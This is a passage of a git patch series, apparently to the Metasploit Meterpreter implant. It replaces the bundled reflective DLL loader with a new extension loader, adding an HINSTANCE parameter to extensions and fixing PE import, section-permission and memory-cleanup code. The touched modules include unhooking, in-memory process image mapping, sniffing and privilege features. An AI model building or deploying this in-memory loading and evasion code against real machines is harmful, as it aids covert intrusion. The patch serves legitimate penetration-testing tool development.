Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote) +DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -210,8 +213,7 @@ DWORD DeinitServerExtension(Remote* remote) destroyDHCPServer(dhcpserver); dhcpserver = NULL; - met_api->command.deregister_all(customCommands); - + met_api->command.deregister_all(customCommands); hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/peinjector/peinjector.c b/c/meterpreter/source/extensions/peinjector/peinjector.c index 6d7bccf38..3a251c74f 100644 --- a/c/meterpreter/source/extensions/peinjector/peinjector.c +++ b/c/meterpreter/source/extensions/peinjector/peinjector.c @@ -7,9 +7,10 @@ // Required so that use of the API works. MetApi* met_api = NULL; +HINSTANCE hAppInstance = NULL; -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "peinjector_bridge.h" @@ -23,11 +24,13 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote *remote) +DWORD InitServerExtension(MetApi* api, Remote *remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all( customCommands ); @@ -43,6 +46,7 @@ DWORD InitServerExtension(MetApi* api, Remote *remote) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all( customCommands ); + hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/powershell/powershell.c b/c/meterpreter/source/extensions/powershell/powershell.c index a95ca1221..1e62ed113 100644 --- a/c/meterpreter/source/extensions/powershell/powershell.c +++ b/c/meterpreter/source/extensions/powershell/powershell.c @@ -7,9 +7,10 @@ // Required so that use of the API works. MetApi* met_api = NULL; +HINSTANCE hAppInstance = NULL; -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "powershell_bridge.h" #include "powershell_bindings.h" @@ -30,11 +31,13 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote) +DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) gRemote = remote; @@ -56,6 +59,7 @@ DWORD InitServerExtension(MetApi* api, Remote* remote) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all(customCommands); + hAppInstance = NULL; deinitialize_dotnet_host(); return ERROR_SUCCESS; diff --git a/c/meterpreter/source/extensions/priv/precomp.h b/c/meterpreter/source/extensions/priv/precomp.h index d9ee4a6dd..ef5924e06 100644 --- a/c/meterpreter/source/extensions/priv/precomp.h +++ b/c/meterpreter/source/extensions/priv/precomp.h @@ -7,12 +7,8 @@ #include "passwd.h" #include "fs.h" -#include "../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" #define strcasecmp stricmp -// declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c -extern HINSTANCE hAppInstance; #endif diff --git a/c/meterpreter/source/extensions/priv/priv.c b/c/meterpreter/source/extensions/priv/priv.c index 36cc04d73..3a11ecd58 100644 --- a/c/meterpreter/source/extensions/priv/priv.c +++ b/c/meterpreter/source/extensions/priv/priv.c @@ -6,9 +6,7 @@ // Required so that use of the API works. MetApi* met_api = NULL; - -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +HINSTANCE hAppInstance = NULL; /*! * @brief `priv` extension dispatch table. @@ -31,9 +29,10 @@ Command customCommands[] = * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote) +DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -49,7 +48,7 @@ DWORD InitServerExtension(MetApi* api, Remote* remote) DWORD DeinitServerExtension(Remote* remote) { met_api->command.deregister_all(customCommands); - + hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/priv/tokendup.c b/c/meterpreter/source/extensions/priv/tokendup.c index 04fc46e7c..586e5fdcd 100644 --- a/c/meterpreter/source/extensions/priv/tokendup.c +++ b/c/meterpreter/source/extensions/priv/tokendup.c @@ -1,8 +1,8 @@ #include "precomp.h" #include "common_metapi.h" #include "tokendup.h" -#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" -#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" +//#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" +//#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" /* * Enable or disable a privilege in our processes current token. diff --git a/c/meterpreter/source/extensions/python/python_main.c b/c/meterpreter/source/extensions/python/python_main.c index e7d9b8c55..fd76fe784 100644 --- a/c/meterpreter/source/extensions/python/python_main.c +++ b/c/meterpreter/source/extensions/python/python_main.c @@ -7,61 +7,58 @@ // Required so that use of the API works. MetApi* met_api = NULL; +HINSTANCE hAppInstance = NULL; -#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "python_commands.h" #include "python_meterpreter_binding.h" - -// This is the entry point to the python DLL, we proxy to this from our own init -extern BOOL WINAPI PythonDllMain(HANDLE hInst, ULONG ul_reason_for_call, LPVOID lpReserved); -extern BOOL WINAPI CtypesDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvRes); - -Remote* gRemote = NULL; + +// This is the entry point to the python DLL, we proxy to this from our own init +extern BOOL WINAPI PythonDllMain(HANDLE hInst, ULONG ul_reason_for_call, LPVOID lpReserved); +extern BOOL WINAPI CtypesDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvRes); + +Remote* gRemote = NULL; /*! @brief List of commands that the extended API extension providers. */ Command customCommands[] = { - COMMAND_REQ(COMMAND_ID_PYTHON_RESET, request_python_reset), - COMMAND_REQ(COMMAND_ID_PYTHON_EXECUTE, request_python_execute), + COMMAND_REQ(COMMAND_ID_PYTHON_RESET, request_python_reset), + COMMAND_REQ(COMMAND_ID_PYTHON_EXECUTE, request_python_execute), COMMAND_TERMINATOR }; -BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) -{ - switch (dwReason) - { - case DLL_QUERY_HMODULE: - if (lpReserved != NULL) - { - *(HMODULE*)lpReserved = hAppInstance; - } - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - - PythonDllMain(hinstDLL, dwReason, lpReserved); - CtypesDllMain(hinstDLL, dwReason, lpReserved); - return TRUE; -} - +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + + PythonDllMain(hinstDLL, dwReason, lpReserved); + CtypesDllMain(hinstDLL, dwReason, lpReserved); + return TRUE; +} + /*! * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote) +DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -84,36 +81,37 @@ DWORD InitServerExtension(MetApi* api, Remote* remote) */ DWORD DeinitServerExtension(Remote *remote) { - met_api->command.deregister_all(customCommands); - - python_destroy_session(); + met_api->command.deregister_all(customCommands); + hAppInstance = NULL; + + python_destroy_session(); return ERROR_SUCCESS; } -/*! - * @brief Do a stageless initialisation of the extension. - * @param ID of the extension that the init was intended for. - * @param buffer Pointer to the buffer that contains the init data. - * @param bufferSize Size of the \c buffer parameter. - * @return Indication of success or failure. - */ -DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize) -{ - if (extensionId == EXTENSION_ID_PYTHON) - { - dprintf("[PSH] Executing stagless script:\n%s", (LPCSTR)buffer); - python_execute(NULL, (LPSTR)buffer, bufferSize, PY_CODE_TYPE_PY, NULL, NULL); - } - return ERROR_SUCCESS; -} - -/*! - * @brief Callback for when a command has been added to the meterpreter instance. - * @param commandId The ID of the command that has been added. - */ -VOID CommandAdded(UINT commandId) -{ - binding_add_command(commandId); +/*! + * @brief Do a stageless initialisation of the extension. + * @param ID of the extension that the init was intended for. + * @param buffer Pointer to the buffer that contains the init data. + * @param bufferSize Size of the \c buffer parameter. + * @return Indication of success or failure. + */ +DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize) +{ + if (extensionId == EXTENSION_ID_PYTHON) + { + dprintf("[PSH] Executing stagless script:\n%s", (LPCSTR)buffer); + python_execute(NULL, (LPSTR)buffer, bufferSize, PY_CODE_TYPE_PY, NULL, NULL); + } + return ERROR_SUCCESS; +} + +/*! + * @brief Callback for when a command has been added to the meterpreter instance. + * @param commandId The ID of the command that has been added. + */ +VOID CommandAdded(UINT commandId) +{ + binding_add_command(commandId); } diff --git a/c/meterpreter/source/extensions/sniffer/precomp.h b/c/meterpreter/source/extensions/sniffer/precomp.h index e82169e89..44a1c4f47 100644 --- a/c/meterpreter/source/extensions/sniffer/precomp.h +++ b/c/meterpreter/source/extensions/sniffer/precomp.h @@ -5,11 +5,11 @@ #include "sniffer.h" -#include "../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" +//#include "../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" // declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c -extern HINSTANCE hAppInstance; +//extern HINSTANCE hAppInstance; #define strcasecmp stricmp diff --git a/c/meterpreter/source/extensions/sniffer/sniffer.c b/c/meterpreter/source/extensions/sniffer/sniffer.c index 45838ff87..e2fba3d19 100644 --- a/c/meterpreter/source/extensions/sniffer/sniffer.c +++ b/c/meterpreter/source/extensions/sniffer/sniffer.c @@ -35,11 +35,12 @@ Command customCommands[] = // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){ met_api->packet.transmit_response(hErr, remote, response);return(hErr); } +HINSTANCE hAppInstance = NULL; HANDLE hMgr; DWORD hErr; @@ -739,11 +740,13 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote) +DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) dprintf("[SERVER] Registering command handlers..."); @@ -793,6 +796,7 @@ DWORD InitServerExtension(MetApi* api, Remote* remote) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all(customCommands); + hAppInstance = NULL; MgrDestroy(hMgr); met_api->lock.destroy(snifferm); diff --git a/c/meterpreter/source/extensions/stdapi/server/precomp.h b/c/meterpreter/source/extensions/stdapi/server/precomp.h index d62bf03fa..8f8b9c141 100644 --- a/c/meterpreter/source/extensions/stdapi/server/precomp.h +++ b/c/meterpreter/source/extensions/stdapi/server/precomp.h @@ -13,6 +13,124 @@ #include #include "resource/resource.h" +// The structure definitions below come from the original ReflectiveLoader.h +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, * PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK* pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + #ifdef STDAPI_NAMESPACE_AUDIO #include "audio/audio.h" #endif @@ -42,10 +160,10 @@ #include "railgun/railgun.h" // PKS, win32 specific at the moment. #endif -#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" -#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" +//#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" +//#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" // declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c -extern HINSTANCE hAppInstance; +//HINSTANCE hAppInstance; #define strcasecmp _stricmp diff --git a/c/meterpreter/source/extensions/stdapi/server/stdapi.c b/c/meterpreter/source/extensions/stdapi/server/stdapi.c index d6c3b8914..c895e5d7b 100755 --- a/c/meterpreter/source/extensions/stdapi/server/stdapi.c +++ b/c/meterpreter/source/extensions/stdapi/server/stdapi.c @@ -7,9 +7,10 @@ // Required so that use of the API works. MetApi* met_api = NULL; +HINSTANCE hAppInstance = NULL; -#define RDIDLL_NOEXPORT -#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" // NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor @@ -185,9 +186,10 @@ Command customCommands[] = * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote *remote) +DWORD InitServerExtension(MetApi* api, Remote *remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api); met_api->command.register_all( customCommands ); @@ -202,6 +204,7 @@ DWORD InitServerExtension(MetApi* api, Remote *remote) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all( customCommands ); + hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c index c7e1d0916..280eb6e24 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c @@ -298,7 +298,7 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) break; } - base = htonl((DWORD)modules[index]); + base = htonq((QWORD)modules[index]); tlvs[0].header.length = sizeof(HMODULE); tlvs[0].header.type = TLV_TYPE_IMAGE_BASE; diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c index afacaa820..9c55821ab 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c @@ -94,12 +94,12 @@ BOOL MapNewExecutableRegionInProcess( DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage; if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE) { - NtHeader64 = (PIMAGE_NT_HEADERS64)((DWORD)NewExecutableRawImage + DosHeader->e_lfanew); + NtHeader64 = (PIMAGE_NT_HEADERS64)((PBYTE)NewExecutableRawImage + DosHeader->e_lfanew); if (NtHeader64->Signature == IMAGE_NT_SIGNATURE) { RtlZeroMemory(&BasicInformation, sizeof(PROCESS_INFORMATION)); ThreadContext = (PCONTEXT)VirtualAlloc(NULL, sizeof(ThreadContext) + 4, MEM_COMMIT, PAGE_READWRITE); - ThreadContext = (PCONTEXT)Align((DWORD)ThreadContext, 4); + ThreadContext = (PCONTEXT)Align((DWORD_PTR)ThreadContext, 4); ThreadContext->ContextFlags = CONTEXT_FULL; if (GetThreadContext(TargetThreadHandle, ThreadContext)) //used to be LPCONTEXT(ThreadContext) { diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/ui.c b/c/meterpreter/source/extensions/stdapi/server/ui/ui.c index 0abba2a16..1f7acf95a 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/ui.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/ui.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" HMODULE hookLibrary = NULL; diff --git a/c/meterpreter/source/extensions/unhook/apisetmap.h b/c/meterpreter/source/extensions/unhook/apisetmap.h index 1da06c14d..d998ec464 100644 --- a/c/meterpreter/source/extensions/unhook/apisetmap.h +++ b/c/meterpreter/source/extensions/unhook/apisetmap.h @@ -35,7 +35,7 @@ #define WIN32_LEAN_AND_MEAN #include -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" _PPEB GetProcessEnvironmentBlock(); diff --git a/c/meterpreter/source/extensions/unhook/refresh.c b/c/meterpreter/source/extensions/unhook/refresh.c index 0bbed788d..da6ec5442 100644 --- a/c/meterpreter/source/extensions/unhook/refresh.c +++ b/c/meterpreter/source/extensions/unhook/refresh.c @@ -1,7 +1,7 @@ #include "refresh.h" #include "apisetmap.h" #include "../../common/common.h" -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" void RefreshPE() { diff --git a/c/meterpreter/source/extensions/unhook/unhook.c b/c/meterpreter/source/extensions/unhook/unhook.c index 381dba3f1..1c0e712eb 100644 --- a/c/meterpreter/source/extensions/unhook/unhook.c +++ b/c/meterpreter/source/extensions/unhook/unhook.c @@ -5,14 +5,15 @@ #include "common.h" #include "common_metapi.h" -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "unhook.h" #include "refresh.h" // Required so that use of the API works. MetApi* met_api = NULL; +HINSTANCE hAppInstance = NULL; DWORD unhook_pe(Remote* remote, Packet* packet) { @@ -38,11 +39,13 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. + * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote) +DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) { met_api = api; + hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -58,6 +61,7 @@ DWORD InitServerExtension(MetApi* api, Remote* remote) DWORD DeinitServerExtension(Remote* remote) { met_api->command.deregister_all(customCommands); + hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp index e85e7bb37..440e85392 100644 --- a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp +++ b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp @@ -6,8 +6,8 @@ extern "C" { #include "common.h" #include "common_metapi.h" -#define RDIDLL_NOEXPORT -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +//#define RDIDLL_NOEXPORT +//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #ifndef min #define min(x,y) ((x)<(y)?(x):(y)) diff --git a/c/meterpreter/source/metsrv/metsrv.h b/c/meterpreter/source/metsrv/metsrv.h index 383b51793..d8edfbb0d 100644 --- a/c/meterpreter/source/metsrv/metsrv.h +++ b/c/meterpreter/source/metsrv/metsrv.h @@ -56,7 +56,7 @@ BOOL is_null_guid(BYTE guid[sizeof(GUID)]); VOID rand_xor_key(BYTE buffer[4]); DWORD server_setup(MetsrvConfig* config); -typedef DWORD (*PSRVINIT)(MetApi* api, Remote *remote); +typedef DWORD (*PSRVINIT)(MetApi* api, Remote *remote, HMODULE hInstance); typedef DWORD (*PSRVDEINIT)(Remote *remote); typedef VOID (*PCMDADDED)(UINT command_id); typedef DWORD (*PSTAGELESSINIT)(UINT extensionId, LPBYTE data, DWORD dataSize); diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index c6523a026..a5f49d5ca 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -276,7 +276,7 @@ DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* remot pExtension->end = pFirstCommand; // dwResult can be a mixture of different error types, e.g. HRESULT, win32 error - dwResult = pExtension->init(met_api, remote); + dwResult = pExtension->init(met_api, remote, pExtension->library); pExtension->start = extensionCommands; if (dwResult == ERROR_SUCCESS) From 2c71c73cfe108877cd7859650c52c96adfbbf213 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 30 Mar 2026 10:44:13 +0200 Subject: [PATCH 08/23] Addresses some comments --- c/meterpreter/source/metsrv/extension_loader.c | 14 +++++++++----- c/meterpreter/source/metsrv/extension_loader.h | 5 ++++- 2 files changed, 13 insertions(+), 6 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_loader.c b/c/meterpreter/source/metsrv/extension_loader.c index 65b89f39e..434898b7e 100755 --- a/c/meterpreter/source/metsrv/extension_loader.c +++ b/c/meterpreter/source/metsrv/extension_loader.c @@ -102,13 +102,12 @@ BOOL FixIAT(PIMAGE_DATA_DIRECTORY pDataDirectoryImportTable, PBYTE pBaseAddress) { // import by ordinal //fncPointer = (ULONG_PTR)GetProcAddress(hModule, (LPCSTR)(IMAGE_ORDINAL(pINT->u1.Ordinal))); - fncName = (LPCSTR)(IMAGE_ORDINAL(pINT->u1.Ordinal)); + fncName = (LPCSTR)MAKEINTRESOURCEA(IMAGE_ORDINAL(pINT->u1.Ordinal)); } else { // import by name PIMAGE_IMPORT_BY_NAME pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pBaseAddress + pINT->u1.AddressOfData); - //fncPointer = (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name); fncName = pImgImportByName->Name; } @@ -132,10 +131,11 @@ BOOL FixIAT(PIMAGE_DATA_DIRECTORY pDataDirectoryImportTable, PBYTE pBaseAddress) BOOL FixPermissions(PIMAGE_NT_HEADERS pNtHeaders, PBYTE pBaseAddress) { PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); - + DWORD dwProtection, dwOldFlags; + for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { - DWORD dwProtection, dwOldFlags; + dwProtection = 0; if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) dwProtection = PAGE_WRITECOPY; @@ -160,7 +160,8 @@ BOOL FixPermissions(PIMAGE_NT_HEADERS pNtHeaders, PBYTE pBaseAddress) dprintf("[FIXPERM] Setting permissions for section %p to %x with size %x\n",pBaseAddress + pSectionHeader[i].VirtualAddress , dwProtection, pSectionHeader[i].SizeOfRawData); LPVOID lpAddress = (PBYTE)pBaseAddress + pSectionHeader[i].VirtualAddress; - if(met_api->win_api.kernel32.VirtualProtect(&(lpAddress), pSectionHeader[i].SizeOfRawData, dwProtection, &dwOldFlags) == 0) + SIZE_T dwSectionSize = pSectionHeader[i].SizeOfRawData; + if(dwSectionSize != 0 && met_api->win_api.kernel32.VirtualProtect(lpAddress, dwSectionSize, dwProtection, &dwOldFlags) == 0) { dprintf("[LOADREFLECTIVELY] Failed to fix permissions for section %d\n", i); return FALSE; @@ -203,6 +204,7 @@ BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { if (pDLLBaseAddress == NULL) { dprintf("[LOADREFLECTIVELY] VirtualAlloc failed\n"); + met_api->win_api.kernel32.VirtualFree(pDLLBaseAddress, 0, MEM_RELEASE); return FALSE; } @@ -242,6 +244,7 @@ BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { if(!FixRelocations(pRelocationTableDirectory, (ULONG_PTR)pDLLBaseAddress, pNtHeaders->OptionalHeader.ImageBase)) { dprintf("[LOADREFLECTIVELY] Failed to fix relocations\n"); + met_api->win_api.kernel32.VirtualFree(pDLLBaseAddress, 0, MEM_RELEASE); return FALSE; } @@ -250,6 +253,7 @@ BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { if(!FixIAT(pImportTableDirectory, pDLLBaseAddress)) { 